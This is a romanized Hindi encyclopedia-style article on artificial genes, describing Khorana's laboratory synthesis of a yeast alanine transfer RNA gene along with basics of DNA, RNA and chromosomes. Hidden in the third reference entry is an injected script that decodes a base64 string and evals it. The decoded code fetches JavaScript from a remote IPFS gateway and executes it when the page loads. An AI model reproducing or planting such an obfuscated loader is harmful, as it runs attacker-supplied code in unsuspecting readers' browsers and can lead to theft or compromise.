कृत्रिम जीन
kritrim jin manushy ke dvara prayog shala mean taiyar kiya gaya jin (jin, di. en. e.) [1] ke us khand ko kahate haian, jisamean anuvanshik koot [2] ki nihit hota hai. jin sansar ka sabase vichitr rasayan hai, jisamean apani prakriti utpann karane ke sath-sath jivadhariyoan ke sharir mean hone vali anek kriyaoan ko aranbh aur niyantrit karane ki bhi kshamata hoti hai. is prakar jin jivan ki ikaee bhi hai.
vaijnanik kary
1970 mean bharat ke d aau. haragoviand khurana, vitoriyo gasamela tatha haans vaand saande, narve ke ravel klep ke sath milakar kritrim upayoan se prayog shala mean jivan ki ikaee jin ko banane mean saphal hue. prayog shala mean jin ka vishaleshan ek jatil samasya rahi hai. is samasya ke samadhan ke lie ye, vaijnanik apana kary 1965 se hi kar rahe the. jinaka jivan se ghanishthatam sanbandh hai aur jivan ke sanbandh mean ham aj tak bhi thik-thik nahian jan sake haian. itana hi maloom ho paya hai, ki har jivit prani ka sharir atyant sookshm koshikaoan se bana hai. koshikaoan mean jivadravy namak taral padarth paye jate hai.[3]
protin ka mahatv
jivadravy ka nirman mukhy roop se protin se hua hai. protin sharir ke lie atyavashyak hai. usake abhav mean sharir apani kee kriyaean poori nahian kar sakata hai. protin ko banane vale rasayanoan mean eminoan aml pramukh haian.
kromojom
koshikaoan ke aandar jivadravy ke atirikt ek keandrak bhi hota hai. keandrak mean atyant sookshm reshe jaisi vastu bhi hoti hai, jise kromojom kahate haian. kromojom ka nirman protin aur emino aml se hota hai, emino aml kee jivit vastuoan ko banane vale atyant mahatvapoorn anu haian. emino aml do haian-
- diaksiraibonyookli aml (di. en. e.)
- raibonyookli aml (ar. en. e.)
diaksiraibonyookli aml (di. en. e.)
jin ka nirman di. en. e. dvara hota hai. koshika vibhajan ke bad jab naye jiv ke jivan ka sootrapat hota hai, to yahi jin paitrik evan sharirik gunoan ke sath-sath mata-pita se nikalakar santatiyoan mean chale jate haian. yah adan-pradan mata-pita ke dianb tatha pita ke shukranu [4] mean hota hai.[3]
raibonyookli aml (ar. en. e.)
d aau. haragoviand khurana aur unake sahayogi prayog shala mean traansaphar ar. en. e. ka sanshleshan karake kritrim jin taiyar karane mean saphal hue. traansaphar ar. en. e.ka vastavik sanshleshan karane ke poorv 77 nyookliotaidoan mean se kuchh nyookliotaido ka alag-alag chhote-chhote aanshoan ka sanshleshan kiya gaya. isake lie 3-5 phasphadaee aistar bandh ka saphalatapoorvak nirman kiya gaya. usake bad di. en. e. ke valay mean aise anek aanshoan ko, jo ek doosare ke poorak, par aanshant: ek doosare par hue [5] ki kriyaean karaee gee. di. en. e. laigej ka prayog karake donoan valayoan ke mel khane vale bhagoan ko baiktiriyajany eanjaim ki sahayata se jo d diya gaya.
kriya
uparyukt kriya mean prayukt hone vale eanjaim mean dvivalayadhari di. en. e. anu ke kisi bhi ek valay ke rikt sthan (brek) ki poorti karane ki kshamata hoti hai aur yah dvivalayadhari di. en. e. ke ek valay ki marammat bhi kar sakata hai. is prakar ek aise di. en. e. anu ke sanshleshan mean saphalata mili jisake do valayoan mean se pratyek mean 77 nyookliotaid the. yah anu elanin traansaphar ar. en. e. ki prakritik jin ke saman hai. is prakar sanshleshit anu (kritrim jin) ke gunoan ka parikshan karane par usamean nyookliotaido ka vahi kram paya gaya jo yist ki elanin traansaphar ar. en. e. ki prakritik jin mean milata hai. sath-sath yah prakritik jin ki hi bhaanti upayukt eanjaimoan natha any rasayanoan ki upasthiti mean apani pratikriti banane ki kshamata bhi rakhata hai. is prakar sadharan rasayanik yaugikoan se jin ka sanshleshan sanbhav ho saka.[3]
kritrim jin ka nirman
prayog shala mean kritrim jin ka nirman ho jane ke bad bhi yah pata lagana bakian hai ki is jin ko jivit koshika mean kaise pravisht karaya jae tatha pravisht hone ke bad isaki pratikriya anukool hogi ya nahian? in samasyaoan par abhi adhyayan aur anusandhan ho raha hai, koee nishkarsh nahian prapt ho saka hai.
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tika tippani aur sandarbh
- ↑ aml
- ↑ dr. anuvanshi
- ↑ 3.0 3.1 3.2 kritrim jin (hiandi) bharatakhoj. abhigaman tithi: 14 sitambar, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ Sperms
- ↑ ovaralaipiang
sanbandhit lekh
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varnamala kramanusar lekh khoj
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